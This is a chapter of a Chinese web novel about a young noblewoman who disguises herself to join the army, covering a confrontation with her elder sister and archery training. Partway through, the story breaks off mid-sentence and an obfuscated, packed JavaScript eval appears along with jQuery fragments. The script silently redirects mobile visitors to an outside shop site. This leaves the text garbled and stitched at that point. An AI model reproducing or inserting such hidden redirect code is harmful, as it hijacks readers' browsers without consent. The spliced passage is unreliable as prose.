文趣网 > 其他小说 > 缘分默许 > 9. 恐惧
    思绪回到狭小的房间,岳玎带着沉重的身体半躺在床上,闻着满屋子的苦药味道,她只能看清姐姐虚影,姐姐为什么不再站近一点呢?

    “岳玎,你简直就是胡闹!这是什么地方?这是军营!”

    岳晚临十分生气,多年不见的思念都被岳玎突然出现的地点给打乱,“我朝律法女子不可参军,你知不知道,一旦被发现是什么下场。”

    “伪造户籍,私自参军。前者有牢狱之灾,岳家能保下你,后者呢?你竟然置自己的名声于不顾。”

    和男子同吃同睡,传出去,这世道一定会逼死岳玎。

    “姐姐,我知道,我什么都知道,可我真的没有办法了。岳家参与党争,陛下早就不满,族中子弟庸碌,十几年也没有挑梁者...”

    “说句大逆不道的话...”岳玎慢慢坐直,看着岳晚临疑惑的目光,纯真的压低声音道:“若是陛下立二殿下为储君岳家还有生机,若是立......”

    岳晚临惊的说不出话,她上前捂着岳玎的嘴巴,漂亮的眼睛中像是有什么坍塌:“你疯了!一个女娘张嘴闭嘴就是议储。”

    岳玎淡淡的在岳晚临的手下继续说:“父亲已经站队,就由不得我不去想。那些人只敢想二殿下为储君的富贵,却不敢想失败后的灾祸。”

    “而且男子谈论是为国为家,女子谈就是疯了?这是偏见。姐姐这件事情我从未对别人说过,你是第一个,也是最后一个。”岳玎保证道。

    其实谁谈都疯了。

    岳晚临松开手,她离家许久,没想到岳家已经到了这般险境。

    情绪渲染,岳玎带着鼻腔继续讲:

    “父亲母亲要我嫁给太傅家的邹二公子,我们互不相识,他的习性品行,我什么都不了解,如何能嫁得。”

    有些话一直憋在心里不觉得有什么,如今抓住一个倾诉的人,她委屈得不行。

    岳晚临:“那你就参军,不能行文?”

    岳玎:“京中眼线众多,而且父亲母亲一定能抓到我。”

    “二皇子母族在南疆,为何来西北?”岳晚临气得心痛。

    “南疆太平多年,西北多战乱,建功立业还是要来西北。”岳玎面对长姐颤颤巍巍的说。

    “你知不知道黎国和颍国正在打仗,前线每天都有人死,断手断脚的人更是不在少数。”

    岳晚临也是刚刚回来的,这些都是她亲眼所见。她的傻妹妹她又不是不知道,钟爱刺绣,又如何拿得起砍刀?

    “你必须回去,我这就去找人送你回去。”岳晚临作势就要往外面走。

    “姐姐,姐姐,不要。”岳玎翻身下床跪在岳晚临面前,“我求你不要说出去。”

    “小玎,你这是干什么?”

    岳晚临将人给扶了起来,心口一阵阵地痛,她对岳玎是有爱也有恨的……两者之间爱还是多一点。

    “你不是惯会撒娇吗?哭闹两回还有他们不依的?”

    这是实话,在岳家说不出来,他们是更看重长子还是更疼爱幼女,但对这两人从来都是百依百顺。

    岳家想要“第一才女”,舍不得拆幼女的绣图,就烧了她的书籍笔记,她的歇斯底里不如岳玎的撒娇耍赖,岳晚临怎么能不恨岳玎。

    其实也能,每次都只有岳玎会安慰自己,会帮她求情,会将手伸进火盆里面帮她抢书,如此,她好像也恨不起来了。

    在离家多日时,只有她在四处打探消息,寻自己。

    如今再看向这个小妹,她将头微微仰起,平复心情,让那滴泪在空气里蒸发,她已经三年没有哭过了,今日也不能,以后也不会。

    “这次父亲母亲铁了心的,怎么说都没有用。姐姐,都说婚姻是女子的头等大事,父母之命,媒妁之言!可最终我不能有自己意见,不能选择,只能听天由命嫁给一个素未相识的人,想到要和他共度余生我就害怕。”

    “媒人看不到我的恐惧,父亲母亲也看不到,姐姐,你能看到吗?”

    岳玎的发丝凌乱,脸还是红红的,脑子却无比清醒,眼底里有着蚀骨的疼痛,整个心就如同绷紧的琴弦,随时会断。

    她就像是温暖羊群里幸福的绵羊,在某一天被毫无征兆地赶到未知的深山,脱离她所熟知的一切,去面对未知的生活。

    “你会死的,要我向你解释清楚死亡吗?”岳晚临已经有了答案。

    “死也是为了国家,为了百姓,总好过和不喜欢的人相看两厌,蹉跎岁月。若是能活着,我就要为自己挣个选择权,如果可以我想帮全天下的女子挣个选择权,打破这千古不变的破道理。”

    婚姻,不是父母之命,媒妁之言。婚姻,是两情相悦,心向往之。

    岳玎还在抽着气,不敢太大声,毕竟邹缇还在门口守着呢。

    良久,岳晚临点了点头,没有说话,就这么看着岳玎,嘴角划出一丝不被人察觉的弧度。

    “真舒服,就是人有点多,明日我们还呜呜……”

    罗小城的嘴被一把捂住,要问是谁干的,那必须是一进门就看到某人睡着的邹缇。

    “小声一点,岳小岳睡着了。”

    邹缇放慢动作,将盆放下,把他们这边的蜡烛熄灭,跑到另一边去宽衣,洪武见了直称赞邹缇贴心。

    “懂事了啊,知道体贴人了。”

    邹缇不服气,悄声说道:“小爷我做人没话说,那两天是被岳小岳气糊涂了。”

    众人哑笑,看着邹缇吊儿郎当的样子,叹了口气。

    邹缇准备上床,看到岳玎小小一个缩在床边,枕头紧紧贴着她,最大限度地将空间都留给自己。邹缇不由轻笑一声,将枕头拉了过来,以免岳玎睡得太憋屈。

    就在上去的一瞬间,邹缇见岳玎嘴角动了动,眼角还有泪,难道岳玎真的被非礼了?可岳玎解释清楚了啊,岳大夫没有欺负她,还让自己第二天去道歉呢。

    人小,心思倒是大。

    邹缇从怀里掏出手帕,用手指缠绕尖角,轻轻地将那滴泪给点去。洪武三个站在对面,各自停下手中的动作,屏住呼吸,静静的看着慢动作的邹缇。

    邹缇擦完

    不是他多此一举,而是母亲告诉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701114|208178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他,哭着睡觉,泪水在第二天会变成麻子。

    这么灵气可爱的脸,可不能变成麻子。如果岳玎变成麻子的话,邹缇想象了一下,没忍住笑出了声:“哈。”

    “哈。”小小的房间怎么会有回声呢?邹缇回眸看到了三人正目不转睛的看着自己,艾帅美无声的拍了两手,邹缇恶狠狠的瞪了他们一眼,气鼓鼓的上床睡觉。

    怎么偷窥呢?

    随着哨声的响起,岳玎的心脏一紧,但还是麻溜地起床了,迅速地和大家集合。昨天的话很有用,今天没有人迟到,又开始了跑圈,岳玎长叹一口气,想到自己还欠着十圈没有跑就难受。

    李石尔今天带着大家拉伸,胳膊腿到腰,惨叫声此起彼伏,除了岳玎,岳玎的延展性比较好,她把腿搭在栏杆上,看着邹缇疼的直皱眉头。

    嘿嘿。

    今天像昨天一样练完,结束时李教头挑了一队前往靶场,看着整齐排列的靶子,岳玎有些紧张,她没碰过弓箭,却又很向往。唐以太向大家讲解了一下,就让有经验的打头。

    邹缇首当其冲站了出去,两指夹住箭羽,向上一挑,将箭搭在弓上,然后一套动作行云流水,光从箭矢带出的声音就知道,邹缇是个老手。

    “十环!”

    听着远处传来的声音和响起的掌声,邹缇并没有像往日那样傲娇,反而显得习以为常。就连两位教头都对他赞赏不已。

    十环对于他们来说很简单,但是要有这个速度和信心可不是一件容易的事情,毕竟箭在弦上不得不发,打死靶“发”就要准,准才是最主要的。

    邹缇在人群中的第一个笑容是给岳玎的,穿过欢呼和人群,岳玎接收到邹缇的笑容,给他热烈的鼓掌。

    教头组织排队,岳玎自己偷偷摸摸地跑到了最后一个,前面的人再没有像邹缇一样射出十环的,速度也是教头不踢在屁股上就不舍得放手的。

    罗小城和洪叔名列前茅,都拿到了八环的好成绩,但更多的都是六七环的,还有脱靶的。

    他们这一队脱靶,的无一例外被狠狠地踢了一脚,看得岳玎直皱眉头,感觉自己的屁股隐隐作痛。

    岳玎站在队尾看着刺眼的阳光,吹着强有力的疾风,还有经过训练一直在发抖的四肢,心如擂鼓。她这一刻特想撒丫子就跑。

    因为她一定射不中,一定会被李石尔踢。

    岳玎焦虑的扣着自己的手,带着薄茧的手让她一愣,明明在家的时候还是光滑如豆腐,每日又要用花枝牛乳泡着,现在不仅黑了,还糙了。

    “别扣了,就算扣烂了也得上。”艾帅美回头和岳玎说话,想帮她转移注意力。岳玎吐出一口气:“帅美兄你学过射箭吗?”

    艾帅美神情一僵,目光像是穿过时光然后落在岳玎的小巧的脸上,如实答:“学过,一点。”

    闲暇之余打发时间的,他自己也没想到,如今竟然还让他运用上了。

    “快到了。”艾帅美转过身叮嘱道:“别扣了啊。”

    岳玎松开手没一会,又把手放在心口,拧着被阳光沐浴的眉眼,她真的慌啊。